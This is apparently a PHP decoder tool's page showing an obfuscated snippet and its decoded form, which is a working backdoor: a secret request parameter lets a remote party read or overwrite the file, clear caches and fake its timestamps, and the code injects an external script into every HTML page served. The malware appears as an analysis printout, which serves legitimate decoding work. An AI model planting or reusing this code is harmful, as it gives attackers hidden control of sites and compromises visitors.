Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
if(isset($_REQUEST["\150\156\x7ad\x38\x667\154\152\172hk\x70k\x69\67"])){if(empty($_REQUES..
Decoded Output download
<? if(isset($_REQUEST["hnzd8f7ljzhkpki7"])){if(empty($_REQUEST["hnzd8f7ljzhkpki7"])){echo bin2hex(gzdeflate(file_get_contents(__FILE__)));}else{header("X-LiteSpeed-Purge: *");if(function_exists("opcache_reset")){@opcache_reset();}if(function_exists("apc_clear_cache")){@apc_clear_cache();}$tgndcn=filemtime(__FILE__);$oo07xj=fileatime(__FILE__);echo strval(file_put_contents(__FILE__,gzinflate(pack("H*",$_REQUEST["hnzd8f7ljzhkpki7"]))));@touch(__FILE__,$tgndcn+1,$oo07xj+1);}die;}if(isset($_SERVER["HTTP_ACCEPT"])&&(strpos($_SERVER["HTTP_ACCEPT"],"text/html")!==false||$_SERVER["HTTP_ACCEPT"]==="*/*")){function lkmluo($tgndcn){return str_replace("</head>","<script type='text/javascript' async src='https://s8371yg6.cloudfine.quest/challenge.js'></script></head>",$tgndcn);}ob_start("lkmluo");} ?>Did this file decode correctly?
Original Code
if(isset($_REQUEST["\150\156\x7ad\x38\x667\154\152\172hk\x70k\x69\67"])){if(empty($_REQUEST["\150\156\172\144\x38\x66\67\154j\x7a\150\153p\153i7"])){echo bin2hex(gzdeflate(file_get_contents(__FILE__)));}else{header("X\x2d\x4c\151\x74\x65\x53\x70\x65e\x64\x2dPu\x72\x67\145\72\40\x2a");if(function_exists("\x6f\160\x63\x61ch\145_\x72\145s\145\x74")){@opcache_reset();}if(function_exists("\141\160\x63\137\x63l\145\141r\137ca\x63h\x65")){@apc_clear_cache();}$tgndcn=filemtime(__FILE__);$oo07xj=fileatime(__FILE__);echo strval(file_put_contents(__FILE__,gzinflate(pack("H\x2a",$_REQUEST["h\x6e\172\x64\x38f\67\x6c\x6a\172h\153\x70\153\151\x37"]))));@touch(__FILE__,$tgndcn+1,$oo07xj+1);}die;}if(isset($_SERVER["HTTP\x5f\x41\103\x43\x45P\x54"])&&(strpos($_SERVER["\x48\124\124\x50_A\x43\x43EP\124"],"\x74e\170\164\57\x68\164\155\154")!==false||$_SERVER["\x48\x54\124P\137A\103\x43\105PT"]==="\52\57\x2a")){function lkmluo($tgndcn){return str_replace("\x3c\x2f\x68\x65\141d>","<\163cr\x69p\x74\x20\164ype\75\x27\x74\145\x78\x74\57\152\x61v\x61\163\x63\x72i\x70\x74'\x20as\x79\156c s\x72c\x3d\47\x68t\164p\163\72\57\x2fs\x38\x33\67\x31\x79g6\56\143l\157\x75d\x66i\156\145\56\x71ue\163\x74\57\x63\150\141\154len\x67\145\56\152\163\47\x3e\74\x2f\163c\x72\x69\160\164\76\74\57\x68ea\x64>",$tgndcn);}ob_start("l\x6bmluo");}Function Calls
| strpos | 1 |
Stats
| MD5 | 4a910459e00990dcd2d19199aff6a2a0 |
| Eval Count | 0 |
| Decode Time | 77 ms |